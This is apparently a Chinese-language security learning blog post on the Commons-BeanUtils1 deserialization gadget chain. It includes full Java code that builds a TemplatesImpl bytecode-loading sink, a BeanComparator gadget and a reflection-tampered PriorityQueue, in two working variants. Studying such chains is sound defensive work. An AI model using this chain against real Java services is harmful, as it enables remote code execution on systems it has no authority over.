cb1

简介

common-BeanUtils 这个库的作用是对javaBean 的增强

javaBean 就是指的是private 的变量通过get和set 进行获取和设置

JavaBean - Java教程 - 廖雪峰的官方网站 (liaoxuefeng.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
package fun.au9u5t;

import java.io.Serializable;

/**
* 这是一个遵循 JavaBean 规范的 Person 类。
*
* JavaBean 规范主要有以下几点:
* 1. 必须是一个公共类 (public class)。
* 2. 必须有一个公共的、无参数的构造函数 (public no-argument constructor)。
* 3. 属性必须是私有的 (private)。
* 4. 必须通过公共的 getter 和 setter 方法来访问和修改私有属性。
* - getter 方法:以 "get" 开头,后跟首字母大写的属性名。例如:getName()
* - setter 方法:以 "set" 开头,后跟首字母大写的属性名。例如:setName(String name)
* - 对于布尔类型的属性,getter 方法可以以 "is" 开头。例如:isStudent()
* 5. 建议实现 java.io.Serializable 接口,以便对象可以被序列化。
*/
public class Person implements Serializable {

// 2. 为了序列化,通常会定义一个 serialVersionUID
private static final long serialVersionUID = 1L;

// 3. 私有属性 (private properties)
private String name; // 姓名
private int age; // 年龄
private boolean isStudent; // 是否是学生

// 2. 公共的、无参数的构造函数 (public no-arg constructor)
public Person() {
// 构造函数体可以为空
}

// 4. 为 'name' 属性提供的公共 getter 和 setter 方法
public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

// 4. 为 'age' 属性提供的公共 getter 和 setter 方法
public int getAge() {
return age;
}

public void setAge(int age) {
// 可以在 setter 中加入一些逻辑校验
if (age < 0) {
throw new IllegalArgumentException("年龄不能为负数。");
}
this.age = age;
}

// 4. 为布尔类型 'isStudent' 属性提供的公共 getter 和 setter 方法
// 注意 getter 方法通常以 "is" 开头
public boolean isStudent() {
return isStudent;
}

public void setStudent(boolean student) {
isStudent = student;
}

// (可选) 重写 toString() 方法,方便打印对象信息进行调试
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
", isStudent=" + isStudent +
'}';
}

// 演示如何使用这个 JavaBean
public static void main(String[] args) {
// 1. 使用无参构造函数创建实例
Person person = new Person();

// 2. 使用 setter 方法设置属性
person.setName("张三");
person.setAge(20);
person.setStudent(true);

// 3. 使用 getter 方法获取属性
System.out.println("姓名: " + person.getName());
System.out.println("年龄: " + person.getAge());
System.out.println("是学生吗? " + person.isStudent());

// 4. 打印对象信息
System.out.println(person.toString());
}
}

PropertyUtils.getProperty

这个函数的作用是是去调用类的get 方法

image-20251010210534353

会根据传入的变量名去调用对应的get

来看看具体的过程

image-20251010210639448

image-20251010210712785

最后这个类似于switch 的if 中,可以发现一般都会走到最后一个else

第一个if 是说如果是Map

第二个else if 是如果是集合类

第三个是else if 是否是一个索引类

第四个通常走的

我们直接看第四个是什么

image-20251010211207188

就是通过javaBean 规范找对应的变量的get

那么就尝试去调用一下,如果没有这个变量,但是可以找到get 是否会被调用

image-20251010211424874

发现也是可以调用的, 那么其实这个就类似于get开头的任意方法调用了

尝试利用

那么有什么地方可以利用?

image-20251010211549477

TemplatesImpl

发现这个会调用newTransformer()

我们知道newTransformer() 函数中存在动态类加载的问题,利用上面说到的PropertyUtils.getProperty 尝试调用一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package org.javaSecBase.deserialization.CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CB1 {

/**
* 测试是否可以通过 getProperty 完成调用
*/
public static void test() throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
TemplatesImpl templates = new TemplatesImpl();
try{


Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
// _name 赋值
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");
// _bytecodes
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// private byte[][] _bytecodes = null;
// 代码会将 bytecodes 中的字节流都进行classLoader.defineClass() 也就是说每一个一维数组就是一个字节流
byte[] code= Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes= new byte[][]{code};
bytecodesField.set(templates, codes);

// _class 为null
Field classField = templatesClass.getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates, null);

// _tfactory
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl()); // 参考 TemplatesImpl.readObject()


}catch (Exception e){
e.printStackTrace();
}

PropertyUtils.getProperty(templates, "outputProperties");
}
public static void main(String[] args) {
try {
test();
} catch (InvocationTargetException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (NoSuchMethodException e) {
throw new RuntimeException(e);
}
}
}

完美调用

分析

知道了PropertyUtils.getProperty 是可以利用的

那么就往上找看哪里会调用,并且可以利用

image-20251010212551219

就第一个就可以利用,compare 可以利用cc4 的PriorityQueue

如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package org.javaSecBase.deserialization.CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.cclearn.Serialize;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB1 {


public static void cb1() {
// 1. 构造恶意的 TemplatesImpl 对象 (sink)
// 这一部分和之前一样,并且必须取消 _tfactory 的注释
TemplatesImpl templates = new TemplatesImpl();
try {
Class<?> templatesClass = TemplatesImpl.class;
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes = new byte[][]{code};
bytecodesField.set(templates, codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl()); // 必须设置,否则反序列化时会NPE

} catch (Exception e) {
e.printStackTrace();
return; // 构造失败则直接返回
}

// 2. 构造 BeanComparator (gadget)
BeanComparator beanComparator = new BeanComparator("outputProperties");

// 3. 构造 PriorityQueue 并通过反射设置其内部状态
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2, beanComparator); // 初始容量设置为2,并传入比较器

// 通过反射获取 queue 字段和 size 字段
try {
// 创建一个数组,包含我们的恶意对象
Object[] queueArray = new Object[]{templates, templates};

// 获取 PriorityQueue 类的 queue 字段
Field queueField = PriorityQueue.class.getDeclaredField("queue");
queueField.setAccessible(true);
// 将 priorityQueue 实例的 queue 字段设置为我们自己的数组
queueField.set(priorityQueue, queueArray);

// 获取 PriorityQueue 类的 size 字段
Field sizeField = PriorityQueue.class.getDeclaredField("size");
sizeField.setAccessible(true);
// 将 priorityQueue 实例的 size 字段设置为 2
sizeField.set(priorityQueue, 2);

} catch (Exception e) {
e.printStackTrace();
return;
}

// 4. 序列化和反序列化测试
try {
String fileName = Serialize.serialize(priorityQueue);
Serialize.deserialize(fileName);
} catch (Exception e) {
// 注意:漏洞成功触发时,这里可能会捕获到Test.class执行时产生的异常
// 如果Test.class是弹计算器,那么这里可能不会有异常,也可能因为环境问题有异常
// 关键是观察Test.class中的代码是否被执行
System.out.println("反序列化过程中捕获到异常:");
e.printStackTrace();
}
}

public static void main(String[] args) {
cb1();
}
}

这里需要注意由于add() 会调用copare() 影响判断,所以这里直接反射修改

还有一个办法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
package org.javaSecBase.deserialization.CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.cclearn.Serialize;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB1 {


public static void cb1() {
// 1. 构造恶意的 TemplatesImpl 对象 (sink)
// 这一部分和之前一样,并且必须取消 _tfactory 的注释
TemplatesImpl templates = new TemplatesImpl();
try {
Class<?> templatesClass = TemplatesImpl.class;
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes = new byte[][]{code};
bytecodesField.set(templates, codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl()); // 必须设置,否则反序列化时会NPE

} catch (Exception e) {
e.printStackTrace();
return; // 构造失败则直接返回
}

// 2. 构造 BeanComparator (gadget)
BeanComparator beanComparator = new BeanComparator("outputProperties");

// 3. 构造 PriorityQueue 并通过反射设置其内部状态
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2, beanComparator); // 初始容量设置为2,并传入比较器

// 通过反射获取 queue 字段和 size 字段
try {
// 创建一个数组,包含我们的恶意对象
Object[] queueArray = new Object[]{templates, templates};

// 获取 PriorityQueue 类的 queue 字段
Field queueField = PriorityQueue.class.getDeclaredField("queue");
queueField.setAccessible(true);
// 将 priorityQueue 实例的 queue 字段设置为我们自己的数组
queueField.set(priorityQueue, queueArray);

// 获取 PriorityQueue 类的 size 字段
Field sizeField = PriorityQueue.class.getDeclaredField("size");
sizeField.setAccessible(true);
// 将 priorityQueue 实例的 size 字段设置为 2
sizeField.set(priorityQueue, 2);

} catch (Exception e) {
e.printStackTrace();
return;
}

// 4. 序列化和反序列化测试
try {
String fileName = Serialize.serialize(priorityQueue);
Serialize.deserialize(fileName);
} catch (Exception e) {
// 注意:漏洞成功触发时,这里可能会捕获到Test.class执行时产生的异常
// 如果Test.class是弹计算器,那么这里可能不会有异常,也可能因为环境问题有异常
// 关键是观察Test.class中的代码是否被执行
System.out.println("反序列化过程中捕获到异常:");
e.printStackTrace();
}
}

public static void cb1_2() {
// 1. 构造恶意的 TemplatesImpl 对象 (sink)
// 这一部分和之前一样,并且必须取消 _tfactory 的注释
TemplatesImpl templates = new TemplatesImpl();
try {
Class<?> templatesClass = TemplatesImpl.class;
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "au9u5t");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Users/august/code/java/learn/src/main/java/Test.class"));
byte[][] codes = new byte[][]{code};
bytecodesField.set(templates, codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl()); // 必须设置,否则反序列化时会NPE

} catch (Exception e) {
e.printStackTrace();
return; // 构造失败则直接返回
}

// 2. 构造 BeanComparator (gadget)
BeanComparator beanComparator = new BeanComparator("outputProperties");


TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

// 3. 构造 PriorityQueue 并通过反射设置其内部状态
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2, transformingComparator); // 初始容量设置为2,并传入比较器

priorityQueue.add(templates);
priorityQueue.add(templates);

Class<? extends PriorityQueue> priorityQueueClass = priorityQueue.getClass();
try {
Field declaredFieldField = priorityQueueClass.getDeclaredField("comparator");
declaredFieldField.setAccessible(true);
declaredFieldField.set(priorityQueue, beanComparator);

} catch (NoSuchFieldException | IllegalAccessException e) {
throw new RuntimeException(e);
}


// 4. 序列化和反序列化测试
try {
String fileName = Serialize.serialize(priorityQueue);
Serialize.deserialize(fileName);
} catch (Exception e) {
// 注意:漏洞成功触发时,这里可能会捕获到Test.class执行时产生的异常
// 如果Test.class是弹计算器,那么这里可能不会有异常,也可能因为环境问题有异常
// 关键是观察Test.class中的代码是否被执行
System.out.println("反序列化过程中捕获到异常:");
e.printStackTrace();
}
}

public static void main(String[] args) {
cb1_2();
}
}

即使服务器上没有cc 链,但是我们本地有就行,传到服务器的那个并没有包含cc 的东西


cb1
https://tsy244.github.io/2025/10/10/java安全/cb1/
Author
August Rosenberg
Posted on
October 10, 2025
Licensed under